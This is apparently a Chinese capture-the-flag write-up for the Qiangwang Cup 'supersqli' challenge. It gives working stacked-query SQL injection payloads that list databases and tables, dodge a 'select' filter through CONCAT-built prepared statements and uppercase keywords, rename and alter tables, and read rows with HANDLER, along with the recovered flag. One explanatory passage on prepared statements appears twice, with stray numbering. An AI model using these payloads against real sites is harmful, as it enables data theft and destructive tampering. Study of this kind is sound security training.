這是一道來自強網杯的題目
第一回合 常規測試
查看頁面信息
注入類型判斷:
1' # 報錯
1'--+ # 正常且為True
1' and 1=1 --+ # 正常且為True
1' and 1=2 --+ # 正常且為False
判斷列數
1' order by 3--+ # 報錯
一共3列
獲取相關信息
0' union select database(), user() --+ # 報錯
過濾了select,無法通過大小寫繞過
幾經嘗試無果,只能求助於百度
第二回合 花式注入
所謂堆疊注入,就是一次性執行多條查詢語句
獲取數據庫
?inject=1';show databases;--+
[OUTPUT]:
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
看到了所有的數據庫
獲取數據表
?inject=1';show tables;--+
[OUTPUT]:
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
查看列信息
?inject=1';show columns from `1919810931114514`; --+
[OUTPUT]:
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
方法一:繞過select
如果無法使用select,還是獲得不了flag,可以通過預編譯的方式繞過對select的限制。
SQL 語句的執行處理
1、即時 SQL
一條 SQL 在 DB 接收到最終執行完畢返回,大致的過程如下:1. 詞法和語義解析;
2. 優化 SQL 語句,制定執行計划;
3. 執行並返回結果;
如上,一條 SQL 直接是走流程處理,一次編譯,單次運行,此類普通語句被稱作 Immediate Statements (即時 SQL)。2、預處理 SQL
但是,絕大多數情況下,某需求某一條 SQL 語句可能會被反復調用執行,或者每次執行的時候只有個別的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要經過上面的詞法語義解析、語句優化、制定執行計划等,則效率就明顯不行了。
所謂預編譯語句就是將此類 SQL 語句中的值用占位符替代,可以視為將 SQL 語句模板化或者說參數化,一般稱這類語句叫Prepared Statements。
預編譯語句的優勢在於歸納為:一次編譯、多次運行,省去了解析優化等過程;此外預編譯語句能防止 SQL 注入。
1. 詞法和語義解析;
2. 優化 SQL 語句,制定執行計划;
3. 執行並返回結果;
如上,一條 SQL 直接是走流程處理,一次編譯,單次運行,此類普通語句被稱作 Immediate Statements (即時 SQL)。
4.
5. 2、預處理 SQL
但是,絕大多數情況下,某需求某一條 SQL 語句可能會被反復調用執行,或者每次執行的時候只有個別的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要經過上面的詞法語義解析、語句優化、制定執行計划等,則效率就明顯不行了。
所謂預編譯語句就是將此類 SQL 語句中的值用占位符替代,可以視為將 SQL 語句模板化或者說參數化,一般稱這類語句叫Prepared Statements。
預編譯語句的優勢在於歸納為:一次編譯、多次運行,省去了解析優化等過程;此外預編譯語句能防止 SQL 注入。
預處理流程
SET; # 用於設置變量名和值
PREPARE stmt_name FROM preparable_stmt; # 用於預備一個語句,並賦予名稱,以后可以引用該語句
EXECUTE stmt_name; # 執行語句
{DEALLOCATE | DROP} PREPARE stmt_name; # 用來釋放掉預處理的語句
構建payload:
-1';
set @sql=CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
execute stmt;
[OUTPUT]: strstr($inject, "set") && strstr($inject, "prepare")
暗示set
與prepare
關鍵詞被攔截,但是strstr
函數對大小寫敏感,嘗試使用大寫繞過:
array(1) {
[0]=>
string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}
獲得flag
方法二: 修改表名
原題目查詢的數據表為words
。既然沒過濾 alert
和 rename
,那就可以把表和列改名。先把 words
改為其他,再把1919810931114514
改為 words
,然后把新的 words
表里的 flag
列改為 id
,這樣就可以直接查詢 flag 了
payload如下:
-1';
rename table `words` to `test`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);
show columns from words;--+
# ALTER TABLE tiger (表名) CHANGE tigername(要修改的列) name (修改后的列名) VARCHAR(20)(類型);
使用 /?inject=1' or 1='1
訪問一下即可獲得 flag
方法三: handler
mysql除可使用select查詢表中的數據,也可使用handler語句,這條語句使我們能夠一行一行的瀏覽一個表中的數據,不過handler語句並不具備select語句的所有功能。它是mysql專用的語句,並沒有包含到SQL標准中。
HANDLER tbl_name OPEN [ [AS] alias]
# 打開一張表,無返回結果,實際上聲明了一個名為tb1_name的句柄。
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# 獲取句柄的第一行,通過READ NEXT依次獲取其它行。最后一行執行之后再執行NEXT會返回一個空的結果。
HANDLER tbl_name CLOSE
# 關閉打開的句柄。
使用payload:
1';
handler `1919810931114514` open;
handler `1919810931114514` read first;-- +
最后
原題目因為使用multi_query()
執行一條或多條sql
語句,然后將結果全部輸出,才會出現這種漏洞。
MySQL中反引號和單引號的區別與用法
- MySql 中用一對反引號來標注 SQL 語句中的標識,如數據庫名、表名、字段名等
- 引號則用來標注語句中所引用的字符型常量或日期/時間型常量,即字段值
例如:
select * from `username` where `name`="peri0d"
參考: